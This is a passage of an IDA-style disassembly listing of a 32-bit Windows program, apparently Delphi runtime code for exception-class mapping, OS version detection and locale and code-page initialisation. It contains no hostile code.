XREF: sub_405AA0+14j cmp ebx, 6 jg short loc_405AD9 mov ecx, ds:dword_4091AC[ebx*8] mov dl, 1 mov eax, off_403AF8 call sub_4058E8 jmp short loc_405AF6 ; --------------------------------------------------------------------------- loc_405AD9: ; CODE XREF: sub_405AA0+22j mov [esp+10h+var_10], esi mov [esp+10h+var_C], 0 push esp push 0 mov ecx, ds:off_409300 mov dl, 1 mov eax, off_403AF8 call sub_4059E0 loc_405AF6: ; CODE XREF: sub_405AA0+37j mov [eax+0Ch], esi pop ecx pop edx pop esi pop ebx retn sub_405AA0 endp ; --------------------------------------------------------------------------- align 10h off_405B00 dd offset dword_405B04 ; DATA XREF: sub_406B98+3Br dword_405B04 dd 45540A0Eh, 70656378h, 63655274h, 8, 1 ; DATA XREF: CODE:off_405B00o dd offset off_401000 dd 4 ; =============== S U B R O U T I N E ======================================= sub_405B20 proc near ; DATA XREF: sub_405FA4+33o push ebx mov ebx, edx mov edx, eax dec dl jz short loc_405B35 dec dl jz short loc_405B3D dec edx sub dl, 16h jb short loc_405B45 jmp short loc_405B61 ; --------------------------------------------------------------------------- loc_405B35: ; CODE XREF: sub_405B20+7j mov edx, ds:dword_40A7C4 jmp short loc_405B68 ; --------------------------------------------------------------------------- loc_405B3D: ; CODE XREF: sub_405B20+Bj mov edx, ds:dword_40A7C8 jmp short loc_405B68 ; --------------------------------------------------------------------------- loc_405B45: ; CODE XREF: sub_405B20+11j and eax, 0FFh lea eax, dword_4091C8[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_4058E8 mov edx, eax jmp short loc_405B68 ; --------------------------------------------------------------------------- loc_405B61: ; CODE XREF: sub_405B20+13j call sub_405AA0 mov edx, eax loc_405B68: ; CODE XREF: sub_405B20+1Bj ; sub_405B20+23j ... push ebx mov eax, edx jmp sub_402308 sub_405B20 endp ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B74 proc near ; CODE XREF: sub_405C30+3p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+var_4], ebx mov edi, ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_405C10 push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jz short loc_405BA9 lea eax, [ebp+var_4] mov edx, ebx call sub_402660 jmp short loc_405BB6 ; --------------------------------------------------------------------------- loc_405BA9: ; CODE XREF: sub_405B74+27j lea edx, [ebp+var_4] mov eax, ds:off_4093B4 call sub_4033B0 loc_405BB6: ; CODE XREF: sub_405B74+33j mov eax, [ebp+var_4] mov [ebp+var_1C], eax mov [ebp+var_18], 0Bh mov [ebp+var_14], esi mov [ebp+var_10], 0Bh mov [ebp+var_C], edi mov [ebp+var_8], 0 lea eax, [ebp+var_1C] push eax push 2 lea edx, [ebp+var_20] mov eax, ds:off_4093D4 call sub_4033B0 mov ecx, [ebp+var_20] mov dl, 1 mov eax, off_404200 call sub_405924 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405C17 loc_405BFF: ; CODE XREF: sub_405B74+A1j lea eax, [ebp+var_20] call sub_4025C8 lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_405C10: ; DATA XREF: sub_405B74+1Ao jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405BFF ; --------------------------------------------------------------------------- loc_405C17: ; CODE XREF: sub_405B74+9Bj ; DATA XREF: sub_405B74+86o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405B74 endp ; =============== S U B R O U T I N E ======================================= sub_405C20 proc near ; CODE XREF: sub_405C30+11p mov esp, ecx mov [esp+0], edx mov ebp, [ebp+0] jmp sub_402308 sub_405C20 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C30 proc near ; DATA XREF: sub_405FA4+67o arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_405B74 lea ecx, [ebp+arg_0] add ecx, 4 mov edx, [ebp+arg_0] call sub_405C20 pop ebp retn 4 sub_405C30 endp ; --------------------------------------------------------------------------- align 4 loc_405C4C: ; DATA XREF: sub_405FA4+74o mov ecx, ds:off_409318 mov dl, 1 mov eax, off_404260 call sub_4059A4 call sub_402308 retn ; =============== S U B R O U T I N E ======================================= sub_405C64 proc near ; CODE XREF: sub_405CE4+5p ; sub_405EC8+20p mov eax, [eax] cmp eax, 0C0000092h jg short loc_405C99 jz short loc_405CC8 cmp eax, 0C000008Eh jg short loc_405C8B jz short loc_405CCB sub eax, 0C0000005h jz short loc_405CD4 sub eax, 87h jz short loc_405CC2 dec eax jz short loc_405CD1 jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405C8B: ; CODE XREF: sub_405C64+10j add eax, 3FFFFF71h sub eax, 2 jb short loc_405CC8 jz short loc_405CCE jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405C99: ; CODE XREF: sub_405C64+7j cmp eax, 0C0000096h jg short loc_405CB1 jz short loc_405CD7 sub eax, 0C0000093h jz short loc_405CD1 dec eax jz short loc_405CBF dec eax jz short loc_405CC5 jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405CB1: ; CODE XREF: sub_405C64+3Aj sub eax, 0C00000FDh jz short loc_405CDD sub eax, 3Dh jz short loc_405CDA jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405CBF: ; CODE XREF: sub_405C64+46j mov al, 3 retn ; --------------------------------------------------------------------------- loc_405CC2: ; CODE XREF: sub_405C64+20j mov al, 4 retn ; --------------------------------------------------------------------------- loc_405CC5: ; CODE XREF: sub_405C64+49j mov al, 5 retn ; --------------------------------------------------------------------------- loc_405CC8: ; CODE XREF: sub_405C64+9j ; sub_405C64+2Fj mov al, 6 retn ; --------------------------------------------------------------------------- loc_405CCB: ; CODE XREF: sub_405C64+12j mov al, 7 retn ; --------------------------------------------------------------------------- loc_405CCE: ; CODE XREF: sub_405C64+31j mov al, 8 retn ; --------------------------------------------------------------------------- loc_405CD1: ; CODE XREF: sub_405C64+23j ; sub_405C64+43j mov al, 9 retn ; --------------------------------------------------------------------------- loc_405CD4: ; CODE XREF: sub_405C64+19j mov al, 0Bh retn ; --------------------------------------------------------------------------- loc_405CD7: ; CODE XREF: sub_405C64+3Cj mov al, 0Ch retn ; --------------------------------------------------------------------------- loc_405CDA: ; CODE XREF: sub_405C64+57j mov al, 0Dh retn ; --------------------------------------------------------------------------- loc_405CDD: ; CODE XREF: sub_405C64+52j mov al, 0Eh retn ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_405C64+25j ; sub_405C64+33j ... mov al, 16h retn sub_405C64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405CE4 proc near ; DATA XREF: sub_405FA4+56o push ebx mov ebx, eax mov eax, ebx call sub_405C64 and eax, 0FFh mov eax, ds:dword_4091C8[eax*8] pop ebx retn sub_405CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CFC proc near ; CODE XREF: sub_405EC8+54p var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_15C = dword ptr -15Ch var_158 = byte ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = byte ptr -144h var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_138 = dword ptr -138h var_134 = byte ptr -134h var_130 = dword ptr -130h var_12C = byte ptr -12Ch Filename = byte ptr -125h hModule = _MEMORY_BASIC_INFORMATION ptr -20h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFE90h push ebx push esi xor eax, eax mov [ebp+var_170], eax mov [ebp+var_14C], eax mov [ebp+var_154], eax mov [ebp+var_150], eax mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_405EB7 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_0] mov ebx, [eax-4] cmp dword ptr [ebx+14h], 0 jnz short loc_405D4D lea edx, [ebp+var_4] mov eax, ds:off_409410 call sub_4033B0 jmp short loc_405D5A ; --------------------------------------------------------------------------- loc_405D4D: ; CODE XREF: sub_405CFC+40j lea edx, [ebp+var_4] mov eax, ds:off_4093A8 call sub_4033B0 loc_405D5A: ; CODE XREF: sub_405CFC+4Fj mov esi, [ebx+18h] push 1Ch ; dwLength lea eax, [ebp+hModule] push eax ; lpBuffer mov eax, [ebx+0Ch] push eax ; lpAddress call VirtualQuery cmp [ebp+hModule.State], 1000h jnz loc_405E2C push 105h ; nSize lea eax, [ebp+Filename] push eax ; lpFilename mov eax, [ebp+hModule.AllocationBase] push eax ; hModule call GetModuleFileNameA_0 test eax, eax jz loc_405E2C mov eax, [ebx+0Ch] mov [ebp+var_148], eax mov [ebp+var_144], 5 lea eax, [ebp+var_150] lea edx, [ebp+Filename] mov ecx, 105h call sub_402814 mov eax, [ebp+var_150] lea edx, [ebp+var_14C] call sub_4044E8 mov eax, [ebp+var_14C] mov [ebp+var_140], eax mov [ebp+var_13C], 0Bh mov eax, [ebp+var_4] mov [ebp+var_138], eax mov [ebp+var_134], 0Bh mov [ebp+var_130], esi mov [ebp+var_12C], 5 lea eax, [ebp+var_148] push eax push 3 lea edx, [ebp+var_154] mov eax, ds:off_4093CC call sub_4033B0 mov ecx, [ebp+var_154] mov dl, 1 mov eax, off_404038 call sub_405924 mov ebx, eax jmp short loc_405E86 ; --------------------------------------------------------------------------- loc_405E2C: ; CODE XREF: sub_405CFC+77j ; sub_405CFC+94j mov eax, [ebx+0Ch] mov [ebp+var_16C], eax mov [ebp+var_168], 5 mov eax, [ebp+var_4] mov [ebp+var_164], eax mov [ebp+var_160], 0Bh mov [ebp+var_15C], esi mov [ebp+var_158], 5 lea eax, [ebp+var_16C] push eax push 2 lea edx, [ebp+var_170] mov eax, ds:off_4093E4 call sub_4033B0 mov ecx, [ebp+var_170] mov dl, 1 mov eax, off_404038 call sub_405924 mov ebx, eax loc_405E86: ; CODE XREF: sub_405CFC+12Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405EBE loc_405E93: ; CODE XREF: sub_405CFC+1C0j lea eax, [ebp+var_170] call sub_4025C8 lea eax, [ebp+var_154] mov edx, 3 call sub_4025EC lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_405EB7: ; DATA XREF: sub_405CFC+2Bo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405E93 ; --------------------------------------------------------------------------- loc_405EBE: ; CODE XREF: sub_405CFC+1BAj ; DATA XREF: sub_405CFC+192o mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_405CFC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405EC8 proc near ; DATA XREF: sub_405FA4+61o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_405F83 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_405C64 and eax, 0FFh mov edx, eax add edx, 0FFFFFFFDh sub edx, 8 jb short loc_405F04 jz short loc_405F1B dec edx sub edx, 0Ah jnb short loc_405F26 loc_405F04: ; CODE XREF: sub_405EC8+32j lea eax, dword_4091C8[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_4058E8 mov ebx, eax jmp short loc_405F56 ; --------------------------------------------------------------------------- loc_405F1B: ; CODE XREF: sub_405EC8+34j push ebp call sub_405CFC pop ecx mov ebx, eax jmp short loc_405F56 ; --------------------------------------------------------------------------- loc_405F26: ; CODE XREF: sub_405EC8+3Aj mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_C], eax mov [ebp+var_8], 0 lea eax, [ebp+var_C] push eax push 0 lea edx, [ebp+var_10] mov eax, ds:off_4092D8 call sub_4033B0 mov ecx, [ebp+var_10] mov dl, 1 mov eax, off_403BA8 call sub_405924 mov ebx, eax loc_405F56: ; CODE XREF: sub_405EC8+51j ; sub_405EC8+5Cj mov eax, ebx mov edx, off_403B50 call sub_401FD4 test al, al jz short loc_405F6D mov eax, [ebp+var_4] mov [ebx+0Ch], eax loc_405F6D: ; CODE XREF: sub_405EC8+9Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405F8A loc_405F7A: ; CODE XREF: sub_405EC8+C0j lea eax, [ebp+var_10] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_405F83: ; DATA XREF: sub_405EC8+12o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405F7A ; --------------------------------------------------------------------------- loc_405F8A: ; CODE XREF: sub_405EC8+BAj ; DATA XREF: sub_405EC8+ADo mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_405EC8 endp ; --------------------------------------------------------------------------- align 4 dword_405F94 dd 0FFF897E8h, 1B8FFh, 0DE80000h, 0C3FFFFC6h ; DATA XREF: sub_405FA4+3Eo ; =============== S U B R O U T I N E ======================================= sub_405FA4 proc near ; CODE XREF: sub_406D18:loc_406D5Ep mov ecx, ds:off_409308 mov dl, 1 mov eax, off_403A9C call sub_4059A4 mov ds:dword_40A7C4, eax mov ecx, ds:off_409390 mov dl, 1 mov eax, off_403F24 call sub_4059A4 mov ds:dword_40A7C8, eax mov eax, ds:off_4092E0 mov dword ptr [eax], offset sub_405B20 mov eax, ds:off_409334 mov dword ptr [eax], offset dword_405F94 mov eax, ds:off_4092FC mov edx, off_4039D8 mov [eax], edx mov eax, ds:off_40932C mov dword ptr [eax], offset sub_405CE4 mov eax, ds:off_409338 mov dword ptr [eax], offset sub_405EC8 mov eax, offset sub_405C30 mov edx, ds:off_4093A0 mov [edx], eax mov eax, offset loc_405C4C mov edx, ds:off_4092D4 mov [edx], eax retn sub_405FA4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406028 proc near ; CODE XREF: sub_406B98+2Cp mov eax, ds:dword_40A7C4 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_40A7C4 mov edx, [eax] call dword ptr [edx-8] xor eax, eax mov ds:dword_40A7C4, eax mov eax, ds:dword_40A7C8 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_40A7C8 call sub_401F50 xor eax, eax mov ds:dword_40A7C8, eax mov eax, ds:off_4092E0 xor edx, edx mov [eax], edx mov eax, ds:off_409334 xor edx, edx mov [eax], edx mov eax, ds:off_4092FC xor edx, edx mov [eax], edx mov eax, ds:off_40932C xor edx, edx mov [eax], edx mov eax, ds:off_409338 xor edx, edx mov [eax], edx mov eax, ds:off_4093A0 xor edx, edx mov [eax], edx retn sub_406028 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406094 proc near ; CODE XREF: sub_406D18+4Bp var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h add esp, 0FFFFFF6Ch mov [esp+94h+var_94], 94h push esp ; lpVersionInformation call GetVersionExA test eax, eax jz short loc_4060E2 mov eax, [esp+94h+var_84] mov ds:dword_4090B4, eax mov eax, [esp+94h+var_90] mov ds:dword_4090B8, eax mov eax, [esp+94h+var_8C] mov ds:dword_4090BC, eax mov eax, [esp+94h+var_88] mov ds:dword_4090C0, eax mov eax, offset dword_4090C4 lea edx, [esp+94h+var_80] mov ecx, 80h call sub_402814 loc_4060E2: ; CODE XREF: sub_406094+15j add esp, 94h retn sub_406094 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4060EC proc near ; CODE XREF: sub_406164+1Bp ; sub_406188+Bp push esi push edi mov edi, edx xor edx, edx test eax, eax jz short loc_40615C cmp byte ptr [eax+edi], 0 jz short loc_40615C test edi, edi jnz short loc_406114 mov al, [eax] and eax, 0FFh bt ds:dword_4090C8, eax jnb short loc_40615C mov dl, 1 jmp short loc_40615C ; --------------------------------------------------------------------------- loc_406114: ; CODE XREF: sub_4060EC+12j mov esi, edi dec esi jmp short loc_40611A ; --------------------------------------------------------------------------- loc_406119: ; CODE XREF: sub_4060EC+42j dec esi loc_40611A: ; CODE XREF: sub_4060EC+2Bj test esi, esi jl short loc_406130 mov cl, [eax+esi] and ecx, 0FFh bt ds:dword_4090C8, ecx jb short loc_406119 loc_406130: ; CODE XREF: sub_4060EC+30j mov ecx, edi sub ecx, esi and ecx, 80000001h jns short loc_406141 dec ecx or ecx, 0FFFFFFFEh inc ecx loc_406141: ; CODE XREF: sub_4060EC+4Ej test ecx, ecx jnz short loc_406149 mov dl, 2 jmp short loc_40615C ; --------------------------------------------------------------------------- loc_406149: ; CODE XREF: sub_4060EC+57j mov al, [eax+edi] and eax, 0FFh bt ds:dword_4090C8, eax jnb short loc_40615C mov dl, 1 loc_40615C: ; CODE XREF: sub_4060EC+8j ; sub_4060EC+Ej ... mov eax, edx pop edi pop esi retn sub_4060EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406164 proc near ; CODE XREF: sub_404498+37p push ebx push esi mov esi, edx mov ebx, eax xor eax, eax cmp byte ptr ds:dword_40A77C, 0 jz short loc_406184 mov eax, ebx call sub_402A38 mov edx, esi dec edx call sub_4060EC loc_406184: ; CODE XREF: sub_406164+Fj pop esi pop ebx retn sub_406164 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406188 proc near ; CODE XREF: sub_404654+1Bp ; sub_406224+1Cp xor ecx, ecx cmp byte ptr ds:dword_40A77C, 0 jz short loc_40619A call sub_4060EC mov ecx, eax loc_40619A: ; CODE XREF: sub_406188+9j mov eax, ecx retn sub_406188 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4061A0 proc near ; CODE XREF: sub_4061C0+31p push ebx mov ebx, eax cmp byte ptr ds:dword_40A77C, 0 jz short loc_4061B6 push ebx ; lpsz call CharNextA_0 sub eax, ebx pop ebx retn ; --------------------------------------------------------------------------- loc_4061B6: ; CODE XREF: sub_4061A0+Aj mov eax, 1 pop ebx retn sub_4061A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4061C0 proc near ; CODE XREF: sub_405474+D1p push ebx push esi mov esi, edx mov ebx, eax mov eax, 1 cmp byte ptr ds:dword_40A77C, 0 jz short loc_4061F6 mov dl, [ebx+esi-1] and edx, 0FFh bt ds:dword_4090C8, edx jnb short loc_4061F6 mov eax, ebx call sub_402A38 add eax, esi dec eax call sub_4061A0 loc_4061F6: ; CODE XREF: sub_4061C0+12j ; sub_4061C0+25j pop esi pop ebx retn sub_4061C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4061FC proc near ; CODE XREF: CODE:00405726p push ebx push esi mov ebx, edx mov edx, ebx call sub_406224 mov esi, eax test bl, bl jz short loc_40621F test eax, eax jz short loc_40621F loc_406211: ; CODE XREF: sub_4061FC+21j mov esi, eax inc eax mov edx, ebx call sub_406224 test eax, eax jnz short loc_406211 loc_40621F: ; CODE XREF: sub_4061FC+Fj ; sub_4061FC+13j mov eax, esi pop esi pop ebx retn sub_4061FC endp ; =============== S U B R O U T I N E ======================================= sub_406224 proc near ; CODE XREF: sub_4061FC+6p ; sub_4061FC+1Ap push ebx push esi push edi mov ebx, edx mov esi, eax mov edx, ebx mov eax, esi call sub_404634 mov edi, eax test edi, edi jz short loc_40625E loc_40623A: ; CODE XREF: sub_406224+38j mov edx, edi sub edx, esi mov eax, esi call sub_406188 sub al, 1 jb short loc_40625E jz short loc_40624D jmp short loc_40624E ; --------------------------------------------------------------------------- loc_40624D: ; CODE XREF: sub_406224+25j inc edi loc_40624E: ; CODE XREF: sub_406224+27j inc edi mov edx, ebx mov eax, edi call sub_404634 mov edi, eax test edi, edi jnz short loc_40623A loc_40625E: ; CODE XREF: sub_406224+14j ; sub_406224+23j mov eax, edi pop edi pop esi pop ebx retn sub_406224 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406264 proc near ; CODE XREF: sub_4062D8+13p var_C = dword ptr -0Ch LCData = byte ptr -7 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx xor edx, edx mov [ebp+var_C], edx xor edx, edx push ebp push offset loc_4062C8 push dword ptr fs:[edx] mov fs:[edx], esp push 7 ; cchData lea edx, [ebp+LCData] push edx ; lpLCData push 1004h ; LCType push eax ; Locale call GetLocaleInfoA_0 lea eax, [ebp+var_C] lea edx, [ebp+LCData] mov ecx, 7 call sub_402814 mov eax, [ebp+var_C] push eax call GetACP mov edx, eax pop eax call sub_4043F0 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4062CF loc_4062BF: ; CODE XREF: sub_406264+69j lea eax, [ebp+var_C] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_4062C8: ; DATA XREF: sub_406264+Fo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4062BF ; --------------------------------------------------------------------------- loc_4062CF: ; CODE XREF: sub_406264+63j ; DATA XREF: sub_406264+56o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_406264 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4062D8 proc near ; CODE XREF: sub_406350+93p ; sub_406350+145p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] add edi, 0FFFFFFECh push edi ; lpCPInfo mov eax, ds:Locale call sub_406264 push eax ; CodePage call GetCPInfo xor esi, esi jmp short loc_406323 ; --------------------------------------------------------------------------- loc_4062FA: ; CODE XREF: sub_4062D8+58j mov al, [edi+esi+6] mov bl, [edi+esi+7] sub bl, al jb short loc_406320 inc ebx mov [ebp+var_1], al loc_40630A: ; CODE XREF: sub_4062D8+46j mov al, [ebp+var_1] and eax, 0FFh bts ds:dword_4090C8, eax inc [ebp+var_1] dec bl jnz short loc_40630A loc_406320: ; CODE XREF: sub_4062D8+2Cj add esi, 2 loc_406323: ; CODE XREF: sub_4062D8+20j cmp esi, 0Ch jge short loc_406332 mov al, [edi+esi+6] or al, [edi+esi+7] jnz short loc_4062FA loc_406332: ; CODE XREF: sub_4062D8+4Ej pop edi pop esi pop ebx pop ecx pop ebp retn sub_4062D8 endp ; =============== S U B R O U T I N E ======================================= sub_406338 proc near ; CODE XREF: sub_406350+76p mov eax, ds:dword_40A774 cmp eax, 1Fh ja short loc_406349 bt ds:dword_409290, eax loc_406349: ; CODE XREF: sub_406338+8j setb al retn sub_406338 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406350 proc near ; CODE XREF: sub_4064C4+1Ep CharType = word ptr -196h SrcStr = byte ptr -94h push ebp mov ebp, esp add esp, 0FFFFFE68h push ebx push esi push edi mov ds:Locale, 409h mov ds:dword_40A774, 9 mov ds:dword_40A778, 1 call GetThreadLocale_0 test eax, eax jz short loc_406388 mov ds:Locale, eax loc_406388: ; CODE XREF: sub_406350+31j test ax, ax jz short loc_4063A8 mov edx, eax and dx, 3FFh movzx edx, dx mov ds:dword_40A774, edx movzx eax, ax shr eax, 0Ah mov ds:dword_40A778, eax loc_4063A8: ; CODE XREF: sub_406350+3Bj mov esi, offset dword_4064A4 mov edi, offset dword_4090C8 mov ecx, 8 rep movsd cmp ds:dword_4090B4, 2 jnz loc_40646D call sub_406338 test al, al jz short loc_4063E2 mov byte ptr ds:dword_40A77C+1, 0 mov byte ptr ds:dword_40A77C, 0 jmp loc_40649B ; --------------------------------------------------------------------------- loc_4063E2: ; CODE XREF: sub_406350+7Dj push ebp call sub_4062D8 pop ecx mov eax, offset dword_4090C8 mov edx, offset dword_4064A4 mov cl, 20h call sub_401BEC setnz bl mov byte ptr ds:dword_40A77C, bl test bl, bl jz short loc_406413 mov byte ptr ds:dword_40A77C+1, 0 jmp loc_40649B ; --------------------------------------------------------------------------- loc_406413: ; CODE XREF: sub_406350+B5j mov eax, 80h lea edx, [ebp+SrcStr] loc_40641E: ; CODE XREF: sub_406350+D7j mov [edx], al inc eax inc edx cmp eax, 100h jnz short loc_40641E lea eax, [ebp+SrcStr] lea edx, [ebp+CharType] push edx ; lpCharType push 80h ; cchSrc push eax ; lpSrcStr push 2 ; dwInfoType mov eax, ds:Locale push eax ; Locale call GetStringTypeExA mov eax, 80h lea edx, [ebp+CharType] loc_406454: ; CODE XREF: sub_406350+119j cmp word ptr [edx], 2 setz cl mov byte ptr ds:dword_40A77C+1, cl test cl, cl jnz short loc_40649B add edx, 2 dec eax jnz short loc_406454 jmp short loc_40649B ; --------------------------------------------------------------------------- loc_40646D: ; CODE XREF: sub_406350+70j push 4Ah ; nIndex call GetSystemMetrics test eax, eax setnz al mov byte ptr ds:dword_40A77C+1, al push 2Ah ; nIndex call GetSystemMetrics test eax, eax setnz bl mov byte ptr ds:dword_40A77C, bl test bl, bl jz short loc_40649B push ebp call sub_4062D8 pop ecx loc_40649B: ; CODE XREF: sub_406350+8Dj ; sub_406350+BEj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_406350 endp ; --------------------------------------------------------------------------- align 4 dword_4064A4 dd 8 dup(0) ; DATA XREF: sub_406350:loc_4063A8o ; sub_406350+9Eo ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064C4 proc near ; CODE XREF: sub_406D18+55p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 8 loc_4064CC: ; CODE XREF: sub_4064C4+Dj push 0 push 0 dec ecx jnz short loc_4064CC push ebx xor eax, eax push ebp push offset loc_40678F push dword ptr fs:[eax] mov fs:[eax], esp call sub_406350 call sub_4051EC cmp byte ptr ds:dword_40A77C, 0 jz short loc_4064FA call sub_4053C4 loc_4064FA: ; CODE XREF: sub_4064C4+2Fj call GetThreadLocale_0 mov ebx, eax lea eax, [ebp+var_10] push eax xor ecx, ecx mov edx, 14h mov eax, ebx call sub_40513C mov edx, [ebp+var_10] mov eax, offset dword_40A6B0 call sub_40261C lea eax, [ebp+var_14] push eax mov ecx, offset dword_4067A4 mov edx, 1Bh mov eax, ebx call sub_40513C mov eax, [ebp+var_14] xor edx, edx call sub_4043F0 mov ds:byte_40A6B4, al lea eax, [ebp+var_18] push eax mov ecx, offset dword_4067A4 mov edx, 1Ch mov eax, ebx call sub_40513C mov eax, [ebp+var_18] xor edx, edx call sub_4043F0 mov ds:byte_40A6B5, al mov cl, 2Ch mov edx, 0Fh mov eax, ebx call sub_405188 mov ds:byte_40A6B6, al mov cl, 2Eh mov edx, 0Eh mov eax, ebx call sub_405188 mov ds:byte_40A6B7, al lea eax, [ebp+var_1C] push eax mov ecx, offset dword_4067A4 mov edx, 19h mov eax, ebx call sub_40513C mov eax, [ebp+var_1C] xor edx, edx call sub_4043F0 mov ds:byte_40A6B8, al mov cl, 2Fh mov edx, 1Dh mov eax, ebx call sub_405188 mov ds:byte_40A6B9, al lea eax, [ebp+var_24] push eax mov ecx, offset dword_4067B0 mov edx, 1Fh mov eax, ebx call sub_40513C mov eax, [ebp+var_24] lea edx, [ebp+var_20] call sub_405474 mov edx, [ebp+var_20] mov eax, offset dword_40A6BC call sub_40261C lea eax, [ebp+var_2C] push eax mov ecx, offset dword_4067C0 mov edx, 20h mov eax, ebx call sub_40513C mov eax, [ebp+var_2C] lea edx, [ebp+var_28] call sub_405474 mov edx, [ebp+var_28] mov eax, offset dword_40A6C0 call sub_40261C mov cl, 3Ah mov edx, 1Eh mov eax, ebx call sub_405188 mov ds:byte_40A6C4, al lea eax, [ebp+var_30] push eax mov ecx, offset dword_4067D8 mov edx, 28h mov eax, ebx call sub_40513C mov edx, [ebp+var_30] mov eax, offset dword_40A6C8 call sub_40261C lea eax, [ebp+var_34] push eax mov ecx, offset dword_4067E4 mov edx, 29h mov eax, ebx call sub_40513C mov edx, [ebp+var_34] mov eax, offset dword_40A6CC call sub_40261C lea eax, [ebp+var_8] call sub_4025C8 lea eax, [ebp+var_C] call sub_4025C8 lea eax, [ebp+var_38] push eax mov ecx, offset dword_4067A4 mov edx, 25h mov eax, ebx call sub_40513C mov eax, [ebp+var_38] xor edx, edx call sub_4043F0 test eax, eax jnz short loc_4066B8 lea eax, [ebp+var_4] mov edx, offset dword_4067F0 call sub_402660 jmp short loc_4066C5 ; --------------------------------------------------------------------------- loc_4066B8: ; CODE XREF: sub_4064C4+1E3j lea eax, [ebp+var_4] mov edx, offset dword_4067FC call sub_402660 loc_4066C5: 